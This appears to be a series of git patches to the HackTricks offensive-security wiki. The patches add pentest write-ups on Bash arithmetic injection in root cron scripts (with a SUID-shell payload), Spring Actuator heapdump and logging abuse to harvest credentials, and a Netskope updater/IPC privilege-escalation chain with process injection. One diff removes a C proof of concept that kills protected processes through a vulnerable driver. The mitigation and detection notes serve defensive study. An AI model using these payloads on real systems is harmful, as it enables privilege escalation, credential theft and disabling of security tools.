+Impact: exfiltration of otherwise unreadable secrets via AV behavior. This is a detection evasion concern too (security tooling affecting integrity). See reference for full details and variations. ## ETW @@ -905,5 +872,6 @@ References for PPL and tooling - [Sysinternals – Process Monitor](https://learn.microsoft.com/sysinternals/downloads/procmon) - [CreateProcessAsPPL launcher](https://github.com/2x7EQ13/CreateProcessAsPPL) - [Zero Salarium – Countering EDRs With The Backing Of Protected Process Light (PPL)](https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html) +- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) {{#include ../banners/hacktricks-training.md}} From 0d245aa5946eebf180532bbce9846337780b6601 Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Sat, 30 Aug 2025 18:32:29 +0000 Subject: [PATCH 06/15] Add content from: HTB Eureka: From Actuator HeapDump to SSH, credential captur... - Remove searchindex.js (auto-generated file) --- .../privilege-escalation/README.md | 37 ++++++++- .../pentesting-web/spring-actuators.md | 78 ++++++++++++++++++- 2 files changed, 113 insertions(+), 2 deletions(-) diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 6c419ccb0..852a7619b 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -416,6 +416,40 @@ Read the following page for more wildcard exploitation tricks: wildcards-spare-tricks.md {{#endref}} + +### Bash arithmetic expansion injection in cron log parsers + +Bash performs parameter expansion and command substitution before arithmetic evaluation in ((...)), $((...)) and let. If a root cron/parser reads untrusted log fields and feeds them into an arithmetic context, an attacker can inject a command substitution $(...) that executes as root when the cron runs. + +- Why it works: In Bash, expansions occur in this order: parameter/variable expansion, command substitution, arithmetic expansion, then word splitting and pathname expansion. So a value like `$(/bin/bash -c 'id > /tmp/pwn')0` is first substituted (running the command), then the remaining numeric `0` is used for the arithmetic so the script continues without errors. + +- Typical vulnerable pattern: + ```bash + #!/bin/bash + # Example: parse a log and "sum" a count field coming from the log + while IFS=',' read -r ts user count rest; do + # count is untrusted if the log is attacker-controlled + (( total += count )) # or: let "n=$count" + done < /var/www/app/log/application.log + ``` + +- Exploitation: Get attacker-controlled text written into the parsed log so that the numeric-looking field contains a command substitution and ends with a digit. Ensure your command does not print to stdout (or redirect it) so the arithmetic remains valid. + ```bash + # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): + $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 + # When the root cron parser evaluates (( total += count )), your command runs as root. + ``` + +- Preconditions: + - You can cause a line you control to be written into the log consumed by the root script. + - The script evaluates an untrusted variable inside ((...)), $((...)) or let. + +- Mitigations (for defenders): + - Never use arithmetic evaluation on untrusted strings. Validate first: `[[ $count =~ ^[0-9]+$ ]] || continue`. + - Prefer integer-safe parsing with awk or mapfile and explicit regex checks. + - Run log parsers as least-privileged users; never as root unless strictly necessary. + + ### Cron script overwriting and symlink If you **can modify a cron script** executed by root, you can get a shell very easily: @@ -1682,6 +1716,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md - [https://linuxconfig.org/how-to-manage-acls-on-linux](https://linuxconfig.org/how-to-manage-acls-on-linux) - [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) - [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/) - +- [0xdf – HTB Eureka (bash arithmetic injection via logs, overall chain)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html) +- [GNU Bash Reference Manual – Shell Arithmetic](https://www.gnu.org/software/bash/manual/bash.html#Shell-Arithmetic) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/spring-actuators.md b/src/network-services-pentesting/pentesting-web/spring-actuators.md index 1c02371ee..5a59413b6 100644 --- a/src/network-services-pentesting/pentesting-web/spring-actuators.md +++ b/src/network-services-pentesting/pentesting-web/spring-actuators.md @@ -68,4 +68,80 @@ Connection: close -{{#include ../../banners/hacktricks-training.md}} +## HeapDump secrets mining (credentials, tokens, internal URLs) + +If `/actuator/heapdump` is exposed, you can usually retrieve a full JVM heap snapshot that frequently contains live secrets (DB creds, API keys, Basic-Auth, internal service URLs, Spring property maps, etc.). + +- Download and quick triage: + ```bash + wget http://target/actuator/heapdump -O heapdump + # Quick wins: look for HTTP auth and JDBC + strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client' + # Decode any Basic credentials you find + printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d + ``` + +- Deeper analysis with VisualVM and OQL: + - Open heapdump in VisualVM, inspect instances of `java.lang.String` or run OQL to hunt secrets: + ``` + select s.toString() + from java.lang.String s + where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString()) + ``` + +- Automated extraction with JDumpSpider: + ```bash + java -jar JDumpSpider-*.jar heapdump + ``` + Typical high-value findings: + - Spring `DataSourceProperties` / `HikariDataSource` objects exposing `url`, `username`, `password`. + - `OriginTrackedMapPropertySource` entries revealing `management.endpoints.web.exposure.include`, service ports, and embedded Basic-Auth in URLs (e.g., Eureka `defaultZone`). + - Plain HTTP request/response fragments including `Authorization: Basic ...` captured in memory. + +Tips: +- Use a Spring-focused wordlist to discover actuator endpoints quickly (e.g., SecLists spring-boot.txt) and always check if `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env`, and `/actuator/configprops` are also exposed. +- Credentials from heapdump often work for adjacent services and sometimes for system users (SSH), so try them broadly. + + +## Abusing Actuator loggers/logging to capture credentials + +If `management.endpoints.web.exposure.include` allows it and `/actuator/loggers` is exposed, you can dynamically increase log levels to DEBUG/TRACE for packages that handle authentication and request processing. Combined with readable logs (via `/actuator/logfile` or known log paths), this can leak credentials submitted during login flows (e.g., Basic-Auth headers or form parameters). + +- Enumerate and crank up sensitive loggers: + ```bash + # List available loggers + curl -s http://target/actuator/loggers | jq . + + # Enable very verbose logs for security/web stacks (adjust as needed) + curl -s -X POST http://target/actuator/loggers/org.springframework.security \ + -H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}' + curl -s -X POST http://target/actuator/loggers/org.springframework.web \ + -H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}' + curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway \ + -H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}' + ``` + +- Find where logs are written and harvest: + ```bash + # If exposed, read from Actuator directly + curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password=' + + # Otherwise, query env/config to locate file path + curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))' + ``` + +- Trigger login/authentication traffic and parse the log for creds. In microservice setups with a gateway fronting auth, enabling TRACE for gateway/security packages often makes headers and form bodies visible. Some environments even generate synthetic login traffic periodically, making harvesting trivial once logging is verbose. + +Notes: +- Reset log levels when done: `POST /actuator/loggers/` with `{ "configuredLevel": null }`. +- If `/actuator/httpexchanges` is exposed, it can also surface recent request metadata that may include sensitive headers. + + +## References + +- [Exploring Spring Boot Actuator Misconfigurations (Wiz)](https://www.wiz.io/blog/spring-boot-actuator-misconfigurations) +- [VisualVM](https://visualvm.github.io/) +- [JDumpSpider](https://github.com/whwlsfb/JDumpSpider) +- [0xdf – HTB Eureka (Actuator heapdump to creds, Gateway logging abuse)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html) + +{{#include ../../banners/hacktricks-training.md}} \ No newline at end of file From 1ce7ec633524e319489675eb48f534154e255971 Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Sat, 30 Aug 2025 18:44:42 +0000 Subject: [PATCH 07/15] =?UTF-8?q?Add=20content=20from:=20Advisory=20?= =?UTF-8?q?=E2=80=93=20Netskope=20Client=20for=20Windows=20=E2=80=93=20Loc?= =?UTF-8?q?al=20Privilege=20Esc...?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Remove searchindex.js (auto-generated file) --- src/SUMMARY.md | 1 + .../checklist-windows-privilege-escalation.md | 1 + .../README.md | 9 ++ .../abusing-auto-updaters-and-ipc.md | 125 ++++++++++++++++++ 4 files changed, 136 insertions(+) create mode 100644 src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index ed10ffe41..ace2dc874 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -234,6 +234,7 @@ - [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md) - [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md) - [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md) + - [Abusing Auto Updaters And Ipc](windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md) - [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md) - [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md) - [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md) diff --git a/src/windows-hardening/checklist-windows-privilege-escalation.md b/src/windows-hardening/checklist-windows-privilege-escalation.md index 241add641..0d8b9df77 100644 --- a/src/windows-hardening/checklist-windows-privilege-escalation.md +++ b/src/windows-hardening/checklist-windows-privilege-escalation.md @@ -15,6 +15,7 @@ - [ ] Interesting info in [**Internet settings**](windows-local-privilege-escalation/index.html#internet-settings)? - [ ] [**Drives**](windows-local-privilege-escalation/index.html#drives)? - [ ] [**WSUS exploit**](windows-local-privilege-escalation/index.html#wsus)? +- [ ] [**Third-party agent auto-updaters / IPC abuse**](windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md) - [ ] [**AlwaysInstallElevated**](windows-local-privilege-escalation/index.html#alwaysinstallelevated)? ### [Logging/AV enumeration](windows-local-privilege-escalation/index.html#enumeration) diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md index e4b6606db..844424a5a 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/README.md @@ -228,6 +228,15 @@ Basically, this is the flaw that this bug exploits: You can exploit this vulnerability using the tool [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (once it's liberated). +## Third-Party Auto-Updaters and Agent IPC (local privesc) + +Many enterprise agents expose a localhost IPC surface and a privileged update channel. If enrollment can be coerced to an attacker server and the updater trusts a rogue root CA or weak signer checks, a local user can deliver a malicious MSI that the SYSTEM service installs. See a generalized technique (based on the Netskope stAgentSvc chain – CVE-2025-0309) here: + + +{{#ref}} +abusing-auto-updaters-and-ipc.md +{{#endref}} + ## KrbRelayUp A **local privilege escalation** vulnerability exists in Windows **domain** environments under specific conditions. These conditions include environments where **LDAP signing is not enforced,** users possess self-rights allowing them to configure **Resource-Based Constrained Delegation (RBCD),** and the capability for users to create computers within the domain. It is important to note that these **requirements** are met using **default settings**. diff --git a/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md b/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md new file mode 100644 index 000000000..7d3fb9a39 --- /dev/null +++ b/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md @@ -0,0 +1,125 @@ +# Abusing Enterprise Auto-Updaters and Privileged IPC (e.g., Netskope stAgentSvc) + +{{#include ../../banners/hacktricks-training.md}} + +This page generalizes a class of Windows local privilege escalation chains found in enterprise endpoint agents and updaters that expose a low‑friction IPC surface and a privileged update flow. A representative example is Netskope Client for Windows < R129 (CVE-2025-0309), where a low‑privileged user can coerce enrollment into an attacker‑controlled server and then deliver a malicious MSI that the SYSTEM service installs. + +Key ideas you can reuse against similar products: +- Abuse a privileged service’s localhost IPC to force re‑enrollment or reconfiguration to an attacker server. +- Implement the vendor’s update endpoints, deliver a rogue Trusted Root CA, and point the updater to a malicious, “signed” package. +- Evade weak signer checks (CN allow‑lists), optional digest flags, and lax MSI properties. +- If IPC is “encrypted”, derive the key/IV from world‑readable machine identifiers stored in the registry. +- If the service restricts callers by image path/process name, inject into an allow‑listed process or spawn one suspended and bootstrap your DLL via a minimal thread‑context patch. + +--- +## 1) Forcing enrollment to an attacker server via localhost IPC + +Many agents ship a user‑mode UI process that talks to a SYSTEM service over localhost TCP using JSON. + +Observed in Netskope: +- UI: stAgentUI (low integrity) ↔ Service: stAgentSvc (SYSTEM) +- IPC command ID 148: IDP_USER_PROVISIONING_WITH_TOKEN + +Exploit flow: +1) Craft a JWT enrollment token whose claims control the backend host (e.g., AddonUrl). Use alg=None so no signature is required. +2) Send the IPC message invoking the provisioning command with your JWT and tenant name: + +```json +{ + "148": { + "idpTokenValue": "", + "tenantName": "TestOrg" + } +} +``` + +3) The service starts hitting your rogue server for enrollment/config, e.g.: +- /v1/externalhost?service=enrollment +- /config/user/getbrandingbyemail + +Notes: +- If caller verification is path/name‑based, originate the request from a allow‑listed vendor binary (see §4). + +--- +## 2) Hijacking the update channel to run code as SYSTEM + +Once the client talks to your server, implement the expected endpoints and steer it to an attacker MSI. Typical sequence: + +1) /v2/config/org/clientconfig → Return JSON config with a very short updater interval, e.g.: +```json +{ + "clientUpdate": { "updateIntervalInMin": 1 }, + "check_msi_digest": false +} +``` +2) /config/ca/cert → Return a PEM CA certificate. The service installs it into the Local Machine Trusted Root store. +3) /v2/checkupdate → Supply metadata pointing to a malicious MSI and a fake version. + +Bypassing common checks seen in the wild: +- Signer CN allow‑list: the service may only check the Subject CN equals “netSkope Inc” or “Netskope, Inc.”. Your rogue CA can issue a leaf with that CN and sign the MSI. +- CERT_DIGEST property: include a benign MSI property named CERT_DIGEST. No enforcement at install. +- Optional digest enforcement: config flag (e.g., check_msi_digest=false) disables extra cryptographic validation. + +Result: the SYSTEM service installs your MSI from +C:\ProgramData\Netskope\stAgent\data\*.msi +executing arbitrary code as NT AUTHORITY\SYSTEM. + +--- +## 3) Forging encrypted IPC requests (when present) + +From R127, Netskope wrapped IPC JSON in an encryptData field that looks like Base64. Reversing showed AES with key/IV derived from registry values readable by any user: +- Key = HKLM\SOFTWARE\NetSkope\Provisioning\nsdeviceidnew +- IV = HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID + +Attackers can reproduce encryption and send valid encrypted commands from a standard user. General tip: if an agent suddenly “encrypts” its IPC, look for device IDs, product GUIDs, install IDs under HKLM as material. + +--- +## 4) Bypassing IPC caller allow‑lists (path/name checks) + +Some services try to authenticate the peer by resolving the TCP connection’s PID and comparing the image path/name against allow‑listed vendor binaries located under Program Files (e.g., stagentui.exe, bwansvc.exe, epdlp.exe). + +Two practical bypasses: +- DLL injection into an allow‑listed process (e.g., nsdiag.exe) and proxy IPC from inside it. +- Spawn an allow‑listed binary suspended and bootstrap your proxy DLL without CreateRemoteThread (see §5) to satisfy driver‑enforced tamper rules. + +--- +## 5) Tamper‑protection friendly injection: suspended process + NtContinue patch + +Products often ship a minifilter/OB callbacks driver (e.g., Stadrv) to strip dangerous rights from handles to protected processes: +- Process: removes PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME +- Thread: restricts to THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE + +A reliable user‑mode loader that respects these constraints: +1) CreateProcess of a vendor binary with CREATE_SUSPENDED. +2) Obtain handles you’re still allowed to: PROCESS_VM_WRITE | PROCESS_VM_OPERATION on the process, and a thread handle with THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (or just THREAD_RESUME if you patch code at a known RIP). +3) Overwrite ntdll!NtContinue (or other early, guaranteed‑mapped thunk) with a tiny stub that calls LoadLibraryW on your DLL path, then jumps back. +4) ResumeThread to trigger your stub in‑process, loading your DLL. + +Because you never used PROCESS_CREATE_THREAD or PROCESS_SUSPEND_RESUME on an already‑protected process (you created it), the driver’s policy is satisfied. + +--- +## 6) Practical tooling +- NachoVPN (Netskope plugin) automates a rogue CA, malicious MSI signing, and serves the needed endpoints: /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate. +- UpSkope is a custom IPC client that crafts arbitrary (optionally AES‑encrypted) IPC messages and includes the suspended‑process injection to originate from an allow‑listed binary. + +--- +## 7) Detection opportunities (blue team) +- Monitor additions to Local Machine Trusted Root. Sysmon + registry‑mod eventing (see SpecterOps guidance) works well. +- Flag MSI executions initiated by the agent’s service from paths like C:\ProgramData\\\data\*.msi. +- Review agent logs for unexpected enrollment hosts/tenants, e.g.: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log – look for addonUrl / tenant anomalies and provisioning msg 148. +- Alert on localhost IPC clients that are not the expected signed binaries, or that originate from unusual child process trees. + +--- +## Hardening tips for vendors +- Bind enrollment/update hosts to a strict allow‑list; reject untrusted domains in clientcode. +- Authenticate IPC peers with OS primitives (ALPC security, named‑pipe SIDs) instead of image path/name checks. +- Keep secret material out of world‑readable HKLM; if IPC must be encrypted, derive keys from protected secrets or negotiate over authenticated channels. +- Treat the updater as a supply‑chain surface: require a full chain to a trusted CA you control, verify package signatures against pinned keys, and fail closed if validation is disabled in config. + +## References +- [Advisory – Netskope Client for Windows – Local Privilege Escalation via Rogue Server (CVE-2025-0309)](https://blog.amberwolf.com/blog/2025/august/advisory---netskope-client-for-windows---local-privilege-escalation-via-rogue-server/) +- [NachoVPN – Netskope plugin](https://github.com/AmberWolfCyber/NachoVPN) +- [UpSkope – Netskope IPC client/exploit](https://github.com/AmberWolfCyber/UpSkope) +- [NVD – CVE-2025-0309](https://nvd.nist.gov/vuln/detail/CVE-2025-0309) + +{{#include ../../banners/hacktricks-training.md}} From 49a225667c5807a866d61c0a3a33d2005c3d398c Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Mon, 1 Sep 2025 12:42:31 +0000 Subject: [PATCH 08/15] Add content from: SSLPinDetect: Advanced SSL Pinning Detection for Android Sec... - Remove searchindex.js (auto-generated file) --- .../android-app-pentesting/README.md | 59 +++++++++++++++++++ 1 file changed, 59 insertions(+) diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index 84b3620cf..e16a92d1b 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -444,6 +444,62 @@ Applications targeting **API Level 24 and above** require modifications to the N If **Flutter** is being used you need to to follow the instructions in [**this page**](flutter.md). This is becasue, just adding the certificate into the store won't work as Flutter has its own list of valid CAs. +#### Static detection of SSL/TLS pinning + +Before attempting runtime bypasses, quickly map where pinning is enforced in the APK. Static discovery helps you plan hooks/patches and focus on the right code paths. + +Tool: SSLPinDetect +- Open-source static-analysis utility that decompiles the APK to Smali (via apktool) and scans for curated regex patterns of SSL/TLS pinning implementations. +- Reports exact file path, line number, and a code snippet for each match. +- Covers common frameworks and custom code paths: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, and Network Security Config XML pins. + +Install +- Prereqs: Python >= 3.8, Java on PATH, apktool + +```bash +git clone https://github.com/aancw/SSLPinDetect +cd SSLPinDetect +pip install -r requirements.txt +``` + +Usage +```bash +# Basic +python sslpindetect.py -f app.apk -a apktool.jar + +# Verbose (timings + per-match path:line + snippet) +python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v +``` + +Example pattern rules (JSON) +Use or extend signatures to detect proprietary/custom pinning styles. You can load your own JSON and scan at scale. + +```json +{ + "OkHttp Certificate Pinning": [ + "Lcom/squareup/okhttp/CertificatePinner;", + "Lokhttp3/CertificatePinner;", + "setCertificatePinner" + ], + "TrustManager Override": [ + "Ljavax/net/ssl/X509TrustManager;", + "checkServerTrusted" + ] +} +``` + +Notes and tips +- Fast scanning on large apps via multi-threading and memory-mapped I/O; pre-compiled regex reduces overhead/false positives. +- Pattern collection: https://github.com/aancw/smali-sslpin-patterns +- Typical detection targets to triage next: + - OkHttp: CertificatePinner usage, setCertificatePinner, okhttp3/okhttp package references + - Custom TrustManagers: javax.net.ssl.X509TrustManager, checkServerTrusted overrides + - Custom SSL contexts: SSLContext.getInstance + SSLContext.init with custom managers + - Declarative pins in res/xml network security config and manifest references +- Use the matched locations to plan Frida hooks, static patches, or config reviews before dynamic testing. + + + #### Bypassing SSL Pinning When SSL Pinning is implemented, bypassing it becomes necessary to inspect HTTPS traffic. Various methods are available for this purpose: @@ -799,6 +855,9 @@ AndroL4b is an Android security virtual machine based on ubuntu-mate includes th - [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/) - [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh) - [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec) +- [SSLPinDetect: Advanced SSL Pinning Detection for Android Security Analysis](https://petruknisme.medium.com/sslpindetect-advanced-ssl-pinning-detection-for-android-security-analysis-1390e9eca097) +- [SSLPinDetect GitHub](https://github.com/aancw/SSLPinDetect) +- [smali-sslpin-patterns](https://github.com/aancw/smali-sslpin-patterns) ## Yet to try From 520e7ee968acf7a4329d7a15d6acf750a9997e7a Mon Sep 17 00:00:00 2001 From: SirBroccoli Date: Wed, 3 Sep 2025 12:32:48 +0200 Subject: [PATCH 09/15] Update Kerberos Authentication documentation --- .../kerberos-authentication.md | 17 ++--------------- 1 file changed, 2 insertions(+), 15 deletions(-) diff --git a/src/windows-hardening/active-directory-methodology/kerberos-authentication.md b/src/windows-hardening/active-directory-methodology/kerberos-authentication.md index 08c88672e..f33d267fe 100644 --- a/src/windows-hardening/active-directory-methodology/kerberos-authentication.md +++ b/src/windows-hardening/active-directory-methodology/kerberos-authentication.md @@ -2,19 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -Kerberos is time-sensitive. A typical default clock skew tolerance is 5 minutes. If your attacking host clock drifts beyond this window, pre-auth and service requests will fail with KRB_AP_ERR_SKEW or similar errors. Always sync your time with the DC before Kerberos operations: +**Check the amazing post from:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/) -```bash -sudo ntpdate -``` - -For a deep dive on protocol flow and abuse: - -**Check the amazing post from:** [https://www.tarlogic.com/en/blog/how-kerberos-works/](https://www.tarlogic.com/en/blog/how-kerberos-works/) - -## References - -- [How Kerberos Works – Tarlogic](https://www.tarlogic.com/en/blog/how-kerberos-works/) -- [HTB Sendai – 0xdf (operational notes on clock skew)](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html) - -{{#include ../../banners/hacktricks-training.md}} \ No newline at end of file +{{#include ../../banners/hacktricks-training.md}} From dabfe5a003c3dd51e6594631da8f9af7a4d0b1bb Mon Sep 17 00:00:00 2001 From: SirBroccoli Date: Wed, 3 Sep 2025 12:36:33 +0200 Subject: [PATCH 10/15] Update av-bypass.md --- src/windows-hardening/av-bypass.md | 59 +----------------------------- 1 file changed, 1 insertion(+), 58 deletions(-) diff --git a/src/windows-hardening/av-bypass.md b/src/windows-hardening/av-bypass.md index 2ed98ccac..6870d7aec 100644 --- a/src/windows-hardening/av-bypass.md +++ b/src/windows-hardening/av-bypass.md @@ -715,64 +715,7 @@ Detection / Mitigation • Monitor creations of new *kernel* services and alert when a driver is loaded from a world-writable directory or not present on the allow-list. • Watch for user-mode handles to custom device objects followed by suspicious `DeviceIoControl` calls. -### Silver Fox BYOVD: WatchDog amsdk.sys/wamsdk.sys (Zemana SDK) on Win10/11 - -A real-world APT campaign (“Silver Fox”) abused a signed but vulnerable antimalware driver to reliably kill EDR/AV (including PP/PPL) and sometimes elevate privileges on fully patched Windows 10/11. - -Key points -- Driver: WatchDog Anti‑Malware amsdk.sys v1.0.600 (Microsoft-signed). Internals show Zemana SDK reuse (PDB path: zam64.pdb). Loadable on modern Windows where blocklists didn’t yet include it. -- Legacy path: Older variants used ZAM.exe (legacy Zemana) on Win7-era systems. -- Post-patch: Vendor released wamsdk.sys v1.1.100. It fixed LPE by tightening device security but still allowed arbitrary termination of processes, including PP/PPL. - -Root cause (amsdk.sys v1.0.600) -- The device object is created via IoCreateDeviceSecure with a strong SDDL: D:P(A;;GA;;;SY)(A;;GA;;;BA) but DeviceCharacteristics omits FILE_DEVICE_SECURE_OPEN. -- Without FILE_DEVICE_SECURE_OPEN, the secure DACL does not protect opens via the device namespace. Any user can open a handle by using a path with an extra component such as \\ .\\amsdk\\anyfile. Windows resolves it to the device object and returns a handle, bypassing the intended ACL. - -Powerful IOCTLs exposed -- 0x80002010 – IOCTL_REGISTER_PROCESS: Register the caller. -- 0x80002048 – IOCTL_TERMINATE_PROCESS: Terminates arbitrary PIDs, including PP/PPL (the driver only avoids critical system PIDs to prevent bugchecks). -- 0x8000204C – IOCTL_OPEN_PROCESS: Returns full-access handles to target processes (LPE/token‑theft pivot). -- 0x80002014 / 0x80002018 – Raw disk read/write (stealth tampering possible). - -Minimal PoC to terminate PP/PPL via user mode -```c -#define IOCTL_REGISTER_PROCESS 0x80002010 -#define IOCTL_TERMINATE_PROCESS 0x80002048 - -int main() { - DWORD pidRegister = GetCurrentProcessId(); - DWORD pidTerminate = /* target PID */; - HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0); - DeviceIoControl(h, IOCTL_REGISTER_PROCESS, &pidRegister, sizeof(pidRegister), 0, 0, 0, 0); - DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &pidTerminate, sizeof(pidTerminate), 0, 0, 0, 0); - return 0; -} -``` - -Local privilege escalation pivot -- Because any user can open the device, IOCTL_OPEN_PROCESS can hand out full-access handles to privileged processes. From there you can DuplicateTokenEx/CreateProcessAsUser to jump to SYSTEM. Raw disk I/O IOCTLs can also be abused for stealthy boot/config tampering. - -Patch and adversary response -- Fix guidance: set FILE_DEVICE_SECURE_OPEN at device creation and add PP/PPL checks to block protected process termination. -- Vendor patch (wamsdk.sys v1.1.100): Enforced secure opens (closing the LPE) but still allowed arbitrary termination (no PP/PPL level checks). -- Signature evasion: Actors flipped a single byte in the unauthenticated RFC 3161 countersignature inside the WIN_CERTIFICATE. Result: the Microsoft Authenticode chain remains valid, but the file’s SHA‑256 changes, defeating hash‑based driver blocklists. - -Operational tradecraft observed (loader) -- Single EXE bundles the vulnerable driver(s) and a downloader module. On modern OS, amsdk.sys loads; on legacy OS, ZAM.exe path is used. The loader persists via services (e.g., Amsdk_Service kernel driver; a misspelled Termaintor service) and drops under C:\\Program Files\\RunTime. -- EDR killer logic: open amsdk device; for each process name in a Base64 list (~192 entries), issue IOCTL_REGISTER_PROCESS → IOCTL_TERMINATE_PROCESS. - -Detection ideas -- Monitor creation/start of kernel driver services backed by unusual paths and registry-driven NtLoadDriver flows creating Amsdk_Service; look for user-mode opens of \\.\\amsdk* followed by DeviceIoControl 0x80002010 → 0x80002048. -- Hunt for the suspicious service name "Termaintor" and drops under C:\\Program Files\\RunTime. -- Keep Microsoft’s vulnerable-driver blocklist current and augment with allow/deny lists (WDAC/HVCI/Smart App Control). Track use of new hashes on known signed binaries to catch countersignature tampering. - -References and tooling -- LOLDrivers: https://github.com/magicsword-io/LOLDrivers -- Microsoft Vulnerable Driver Blocklist: https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/microsoft-recommended-driver-block-rules -- Terminator (Zemana BYOVD PoC): https://github.com/ZeroMemoryEx/Terminator -- CPR writeup with IOCTLs/PoCs/IOCs: https://research.checkpoint.com/2025/silver-fox-apt-vulnerable-drivers/ - - +### Bypassing Zscaler Client Connector Posture Checks via On-Disk Binary Patching Zscaler’s **Client Connector** applies device-posture rules locally and relies on Windows RPC to communicate the results to other components. Two weak design choices make a full bypass possible: From 49140b3fe334d6922a189a833405578380f02799 Mon Sep 17 00:00:00 2001 From: SirBroccoli Date: Wed, 3 Sep 2025 12:36:57 +0200 Subject: [PATCH 11/15] Update av-bypass.md --- src/windows-hardening/av-bypass.md | 6 ------ 1 file changed, 6 deletions(-) diff --git a/src/windows-hardening/av-bypass.md b/src/windows-hardening/av-bypass.md index 6870d7aec..70f6e05c5 100644 --- a/src/windows-hardening/av-bypass.md +++ b/src/windows-hardening/av-bypass.md @@ -840,10 +840,4 @@ References for PPL and tooling - [CreateProcessAsPPL launcher](https://github.com/2x7EQ13/CreateProcessAsPPL) - [Zero Salarium – Countering EDRs With The Backing Of Protected Process Light (PPL)](https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html) -- [Check Point Research – Chasing the Silver Fox: Cat & Mouse in Kernel Shadows](https://research.checkpoint.com/2025/silver-fox-apt-vulnerable-drivers/) -- [LOLDrivers](https://github.com/magicsword-io/LOLDrivers) -- [Microsoft – Vulnerable Driver Blocklist](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/microsoft-recommended-driver-block-rules) -- [Terminator – Zemana BYOVD PoC](https://github.com/ZeroMemoryEx/Terminator) -- [Watchdog Anti‑Malware (product page)](https://watchdog.com/solutions/anti-malware/) - 